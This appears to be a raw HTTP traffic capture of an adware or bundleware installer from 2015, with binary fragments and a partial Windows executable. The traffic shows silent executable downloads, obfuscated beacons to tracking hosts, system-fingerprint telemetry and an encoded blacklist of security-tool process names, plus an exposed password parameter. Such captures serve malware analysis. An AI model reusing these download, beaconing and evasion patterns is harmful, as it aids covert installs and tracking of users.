%\`.G.R......!.n..........o.%n....l.m.X...*..R..<. ..h..e...k..g...
..p.@_.._.....0E..P7...X.p.$#V#.~..dyn.g..........7.<.[.U..V`^r....
%...N.\}m2K./w.E..4.'.,N0(.G..(...etE.m......m[>.w...u.Q.....g.Q...
. ..3.L.-/.=..t^X.#M.........o.W....#.........*..%."1.............aW..
bZp.LZ..oW........_0...M..BS....U.3..U......6xv...q.....E.'.......)|..
....4.>U..O.....n...y%.p..`l.w'[email protected]_..?.d.g...w.?g..N..X..
.jR.Qx...~{...M(H.a.{..>......s...>.l.N.Z......;.c{...50........
d6..Z..5.L}...EW.?.!.9.......j.)h.....K..Zc."...|.,g...]E./...........
<cl.P.<..Q*..H.J-.......C>*P;9.jk.\....T.......l8....t..Tc.M.
QK..{.J7.........Wcbs...H..[...m0B.<....u'........4.!nsI....b.O....
...z.R=.h!a.E..../V....8.^ JH...U._......u..a.^`.#..n..D..m.s.e.......
&..bgB......F...N$2., ....2....gl..s......@. ..pI.....8.$..e.J...t...b
..Saj.d<..m...k.%...C..P....d."..1?....3....y.qj.../L\e.#..L....Y..
Ar~.`.%[email protected]]H..H3%..........bA.X..rZY..U5......hh. ..
...........^..G...Z......N9u......=,...l..7e3..>~..Q.n.%'..M.V..:..
.LK..b..`...q.K(..[..."..........][email protected].%......]..5.F..Y
.Z0=.'...Hho!wTi.u_k..j.....v...q.#.bF............5.7...jk...A..|.... 
"...aDg..D....v..V(x..rmo.-b........N.......CC.{....~.......c v......D
...1....R.P.H....bDmh.\..56l....]RO.l@<....-.#.pE.J.j..b$.n.L..<<< skipped >>>

GET /v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2105 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.76 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:36:16 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.76 ms","message":"store 2 ac
tion and 4 update "}..0..

GET /18920.ashx?e=HfxXOGS/z9PT6EXPOQXbtZhoSg  lHwwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaRHwteY6jbdnAuOtpoKe0emAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:47 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=14342995-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 8605795

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 14342995-22948789/22948790
.0.......=.=..<_Ft.....p..........X.lNz0..8U,.[....#x?.........`..^
.=........K.&.Y.roRY}T.41(...<..(...d..WX....,{.co......7=R.K..a6..
(@......rV*....w....FZ6........8.Y[..?..PW......0......`..p.'.X..`b1Bb
#)f,r6..KHS..yMwo..0C. .... .. .b...^..U.|E.X....X."..|.`[email protected]`.
..bOkg...0.....f .XnY..N..[z8...9.6......4C\.S.j5......I.......X3..<
;.0|...I).D...g._).....3..5.....VwpCy|[.5..2.n.~A...J..#4...8.N..l\...
..\...W.._... .=@`..S...2...>I4{.p.A..v.]E.........Xd..P..[.D..CA..
....OS~...~p.....Qf$..m0....Mb..[Z.yN@5v..,..zSt.8u.'..iZr.k.....Z..,.
.....QCzTO.4.....M...w;]>W.R........t.....I.P.A.xb;.....X...E......
..xEv.6kvt}..Y"$.k..FC.....2..:...^.E..ii.v.G...*gh..=?.I.[..&.M..;:x.
.P..F.....ifNp./.@.`.....v..[..Cu.Bu..\P.C<..*EAMW........;....B.|K
b.o....<&.0Y6(4...............7..X.a...\.P>. de.&.r\i.#_. b'>
../}..K.xXcg`[email protected]~.U.......Lp.G...&..n.. -Qr.......FQEt$`Y}..
.r.IG..._.%Y...M..y>T..mj.Y..o.T..[......^,....4.....dk..%9.$hY..s$
.q9.^...e<..".....&9b"....mp.`..Y.<%...i..W.Y.}..N~.....T......y
.&...."....E....v(.Hk....V......;-^.%.>?....M...5.&...u....$6.b....
. c. .......d<a.6....r$.<G.8....T{[email protected]." ...'"........V....
..];..6..4(..`...n`kshU.8.T5r8yf.tk..N0ip}. .W.."..)i\....k.....sA....
..x(.56@.. .U.O..._..A=..t...SqN..c..;... .t..q.....d.j3LFe...d.......
. &L|._.P...Ug.$...gA..E...`...>..a8T.....'.......3..e.f...D..n.._.
.b(.Y..N...|.......]..pnxj7..{x.....PO...x.Q[....f..K..:....5.........
......X.........7....N%...Yb.3....b.M.. ...wd ..^h..._...G.*..W..S<<< skipped >>>

GET /t.ashx?e=/k6kR j50tpQhScA1jb3TyeLiFzXMXTd7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDciSX1Nf V6uy4btG OZIk/4yV9gTVq WZsJKoGkBMBgLPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:23 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

GET /t.ashx?e=/k6kR j50tpQhScA1jb3TyeLiFzXMXTd7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDciSX1Nf V6uy4btG OZIk/4yV9gTVq WZsJKoGkBMBgLPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:23 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:23 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhskHTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:23 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 3ff89417230c3ba285675742a503a229.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7ku1pZHA1JGLUFz6PVvnfCnfi4Bei3oAd5NllB8IYEXTQWU9c9XKFw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:02 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Sat, 18
 Apr 2015 07:36:02 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /fp?alpha=eXJJcxpdAyQ6ClB+ZlkVeDYafhp5Ll8CW15zCGxGfmZEc1x7AzhwcQ1GJnY4OBBKI2BkAFECUXh9HicMYVU9dxofAQtsaSktWmAMXCYyfgU6c0o/RG5qHgcfBxxJMQ98JghnHikIQAx2fjVVaEgjYUQnZXgMJ3VFZHQYLRouZGt+Cmo3Wi1JNStZZktRYjlMCGlpXysUf38VHxoHDE80G30qBWIYPAkcFXB5IFJ8WyRnXHA3aVBzZwo4eXh3Uyl5bDt8cyVYN0J3cgAhFlAxL2F8T3gdYBJidRwOGw8aSzMQLmBJaHh1UB1aMzggISAdcDoYcyQXSCR4W2FzGhUaOWJsJ2Fldw0eGFwrWWtHDHtNABw+bkc/RGZwGxIdehhJNg9+IGMUa1huP38VXB5w HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 0

....

GET /ii?alpha=eXJJcxpXVFIlA2oAZlkVeDYafhp5LkVbF0xBXWJfKy4DNF9sAypCLS10RRcedjsOcnAgQnIzITF5Gi8NeTk1d3IWeBVvGi0uXnZZXDEyXElULRJiRyomCkxNAm0+NHAJUBYWAlgITANpf0YmfFYsYkQmewsMIwdQFHQbWg1/IiMuKhp0HSkRKi5ec1EFdiEcECVuSSdGbncKW09ZbgluCyZ2XSVDc0wcEyAuZic3FENpTSZ4eRouc1hlahkpCX4mIyQ5SAxUPBFNTUkpDEE7f0gVXDcRdhkoNAAfHAsBGWhCaXxWI0puAzRcJzlvFiodYXQrfzgtW2AySGJkeG1TKnJ2MDVILlozDFY+TzAaRzFmQkYrZF8kWG5pGwkaDgwIZEQ5ekYwD2xfGl5kcSBUa0szOw96NydTKgQGMihBbFRsP1AtNVMlX39/bH8bIwwcZGFbFT94ESAGYj4KXlwCFUstB38hAzhOIQ5JD3F7OlBzQScWRiRmcwAiZxg6IBVZXSBkYGU4SC1VYmhWQSEHWVEtYk4VTx0gXDd5I1gCfHJbGnNTYzNzGFh9TBwVEiJyETAaeXQvNgUKZ15hLDw3Qz94KWFsIDkBMFBiCn1wDHtOEzgyHFh6eAgWWX0= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 84

pbFlzUyv6yfJObrSWLENo/wn2VOhviLAPqy9A51MsaV7h1v6kyDnfrvhJJ5euvY3zSKvmU
6TUvQKTWyC0RohHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP003C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Sat, 18 Apr 2015 07:
35:44 GMT..Content-Length: 84..pbFlzUyv6yfJObrSWLENo/wn2VOhviLAPqy9A51
MsaV7h1v6kyDnfrvhJJ5euvY3zSKvmU6TUvQKTWyC0Roh....

POST /if?alpha=fW4RcmUZL2gFMDccPlhqfCpCf2V9Mh1aaEhdBWMgLzJbNSBoH3JDUiloHRZhcidWcw8kXioyXjVlQi5yfSVtdg0SZE1uZSkyBncmWC1qXTZQMUpjOC46Uk0yBnFmNQ8NTE4XfVwUFAIWe1p+fSkofhwnBA8QewYvEGhDW3J7PnsnQB4PCzs/cEtZLnR6NztABHgrU3BhfTYCA2EdRh4yeXo6U2RkNhMZGgt5KQ11NDcsQXFrP0dyKXIpKBxxMS0tOSdFYS4MCG4tMhl3LghsZxx5PnQSITh9PBFRGVRTHlUabWAOICloRxxjUiF4UjN3PWgSIwQvQTtmeCIuFWx+BWI+MExQMwUqc0trWSNvRi13G3dfMEh1bCgoHVE7WlwDTmlreRgmI3FNTxQBbyoTdSomfhQmCT5NPTZ+Mj1QbiIrYH14AxJyU3g8b25WKWcMGzlLO2YxTzMhDjUdSjBfEHB0KD9qDn12dlQcAB0hLk15fTcpUioQfQR+cCV3NREjc3gxaHIZFmpZbBEmMAd9NAR4J0MzMgRGf3o+fRBROFUNZ04WBU5bMD91QRxweBBSfGJgZXVyWl4sWipsNwcVB38xLSsLK1FXKQIyc08iZARTeH4TRSRkYmN2fzI4ETYiIxRYMgU= HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Content-Length: 78

Connection: Keep-Alive

Cache-Control: no-cache

alpha=fW4RcmUPbCdQFSN4FBYLWjFCYXoHOhBTCXpAU0QoP24hGD97Q01obypxTRhtfS9DXSM7PUk6
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Sat, 18 Apr 2015 07:35:45 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429342553&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=vh3c4yyc30gmbcnaspwwgpn2


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Sat, 18 Apr 2015 07:35:53 GMT

Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /12334.ashx?e=jmtNUPm9rtmfZNC1TqAoBCFIcgSg6NIW1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZaxFpMtpGdVKHf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqGy2eGRx58JVeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:22 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:22 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /12334.ashx?e=657cd9m3NQFPNjxRBLtb45TG1atn8PUT/WD6e6SZIIExLHUkaU0662DlNcv2CDURy8Qx5lql27Kov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLynwF8xC533Fcga zuhV9q9HG29LRhDTFibzkphiwDA/6nisgFVrwdvYUha2hWnuyChQC drCF7eFT2u5uzAPX3ujpcwDjCUT T WpjHDyCq1pd/tnMq/ hDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMq1E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqE5rkU52X7ZdP HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:23 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:23 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /12334.ashx?e=hXeqmv1Ipen8DUZEY163AB0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ NNWV6Ets02dUu2F7cTkckVKXe7b3ey81Z7hCmg7VZxoKYX3Ti/i3YNKX5c7OcvMUATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxxiLjovDReYKf3 sxlWoMFMTMAmIFjhzdRBuqkwVXyB4EQZ7ESYof1lv4Xj7Qjn2Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:24 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCB0R8FZu6GaDFeMezcHjzXHZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihZcIrLF/KDw30Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl36MsH14a  2/kcUO4KXSWJxRZtWDCLE1Y iq7B1sUrV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoJLMm0uDrjC3Kf3 sxlWoMFMTMAmIFjhzdRBuqkwVXyB4EQZ7ESYof3EczNCCvyngQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=yhrBLBbZM9XWk3RCzFhOxraYpCrEeTtn62ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfpzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjOLD3mGCN7ln4nfgxruy9iDDlic64H1m3DZx6j6IjKn2rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vunew/6f/ygRU/FKldAfuH6i/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKuZP /RqMPfI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 18 Apr 20
15 07:35:47 GMT..Content-Length: 0..

GET /utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429342556 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: M12iGg3vNNP6OIb5iluM0H4 OV7Mjc2 D/lInd/HNHJDgFj3qpUaeKovW8NbBugsfj 9ZPo68YU=

x-amz-request-id: EA71971CD1AF78AB

Date: Sat, 18 Apr 2015 07:35:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: M12iGg
3vNNP6OIb5iluM0H4 OV7Mjc2 D/lInd/HNHJDgFj3qpUaeKovW8NbBugsfj 9ZPo68YU=
..x-amz-request-id: EA71971CD1AF78AB..Date: Sat, 18 Apr 2015 07:35:58 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342556&procruntime=7&rnd=1429342563 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: LKBywA3ZlHJLWQ3XvbGO1Lxh422DpjSNz4Koeumq0PXqvS7m4wVtfglGBCuOIgSnNXs8b/eUkCQ=

x-amz-request-id: 49332EB6B9652ADB

Date: Sat, 18 Apr 2015 07:36:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:52 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429342563 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: puYSjoJigQLTnxQt4Mr/WvD6rkCFNDIkUA0rBmWlmQfb1/7Skyy 1q3ABu2TZ8NsjOgRBU7Jrss=

x-amz-request-id: A569FE37186ECF38

Date: Sat, 18 Apr 2015 07:36:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429342563 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: xh8GBDSEm5DccVnvtFNRdhu5ctDUOQ jm D 5fv C6kYspkD8ssqJzW8i4u0RN1tefv A4YXNRY=

x-amz-request-id: 32D471A928A6BD73

Date: Sat, 18 Apr 2015 07:36:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: xh8GBD
